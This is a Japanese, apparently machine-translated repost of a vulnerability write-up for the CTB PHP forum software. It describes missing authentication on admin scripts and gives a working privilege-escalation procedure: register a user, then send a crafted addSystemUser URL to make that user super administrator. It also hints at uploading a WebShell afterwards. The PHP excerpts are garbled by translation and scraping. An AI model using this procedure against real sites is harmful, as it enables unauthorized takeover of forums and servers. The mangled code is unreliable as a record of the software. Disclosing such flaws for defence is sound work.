ホームページ >バックエンド開発 >PHPチュートリアル >美しいが安全ではない CTB_PHP チュートリアル

美しいが安全ではない CTB_PHP チュートリアル

WBOY
WBOYオリジナル
2016-07-21 16:08:56811ブラウズ


> ^^
CTB は、Shiyi Digital によって開発および維持されているオープンソースの PHP フォーラムです。バックグラウンド管理ファイルの検証に欠陥があるため、違法なユーザーがフォーラムのスーパー管理者を直接追加し、フォーラムやサーバーのセキュリティを脅かす可能性があります。

具体的:
^^^^
CTB は非常に標準的な書き方で、コードはよく整理されており、見た目にも美しく、特に機能モジュールがとても勉強になりました。しかし、セキュリティ面が心配です:

次のコードを試してください:

/admin/main.php
~~~~~~~~~~~~~~~~~~~~~~~~~~~ ~~~~~~~~~~~~~~~~
//get 変数を取得 if( is_array($_GET) ) {
foreach($_GET as $k=>$v) {
if ( is_array($ _get [$ k])){
$ return [$ k] = $ v; ];
if (!file_exists($mod.".php" {
$mod = "mainright";
}
require_once ($mod.".php";
//-------- -- ------------------------------------------------ -- -----------------

//クラス変数を初期化します
$ctb = new Module;
$ctb->set = $set; "./templates";
$ctb->input = $return;
$ctb->sess = isset($_COOKIE["sess_adminname"])
$_SESSION; );
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ここでは検証は行いません。管理者を追加するファイルを見てみましょう:

/admin/systemuser.php
~~~~~~~~~~~~~~~~~~~~~~~~~~ ~ ~~~~~~~~~~~~~~~~
class Module extends CommonClass
//システム管理モジュールのサブクラス
{
functionexecute() {
switch($this->input[' action'] ) {
...
case 'addSystemUser':
. >inputCheck("main.php?mod=systemuser&action=showSystemUser";
/ /追加操作を実行します
$this->file = "../".$this->set[dataPath ]."/users/list.php";
$systemLine = $this->select(4) , $this->input['systemUserName']);
....
~~~~~~~~~~~~~~~~~~~~~~ ~~~~~~~~~~~~~~

まだ検証されていません、良い旅を!

使用方法:
^^^^^^^^
まずはユーザー登録:

ログインID: cat
ユーザー名: Dog
パスワード: ilikecat
パスワード再発行: ilikecat
メールボックス: cat@dog.com

続ける次の URL を送信してください:

http://www.target.com/ctb/admin/main.php?mod=systemuser&systemUserName=dog&systemUserMode=1&action=addSystemUser

はは、あなたはスーパー管理者になりました、信じないでください?次の URL を送信してバックエンドにログインします:

http://www.psych.com/ctb/admin/main.php?mod=login

管理名: cat
管理パスワード: ilikecat

咦... .本当にうまくいきました!

今すぐバックグラウンドでアップロードするファイルの種類を変更して、WebShell をアップロードしますか?うーん、きっと推測してしまいました…

追記:CTB コードのコメントにも目を引く誤字をいくつか見つけました。とても恥ずかしいので、一緒に修正していただければ幸いです。

www.bkjia.comtru​​ehttp://www.bkjia.com/PHPjc/314678.html技術記事 D dedicatedThisScrapToCaoJing 関係するバージョン: ^^^^^^^ 現在のすべてのバージョン (現在 1.3Alpha が最高バージョン) 説明: ^^^^^^ CTB は Shiyi Digital 11cn.org によって開発および保守されているソース コードです。
声明:
この記事の内容はネチズンが自主的に寄稿したものであり、著作権は原著者に帰属します。このサイトは、それに相当する法的責任を負いません。盗作または侵害の疑いのあるコンテンツを見つけた場合は、admin@php.cn までご連絡ください。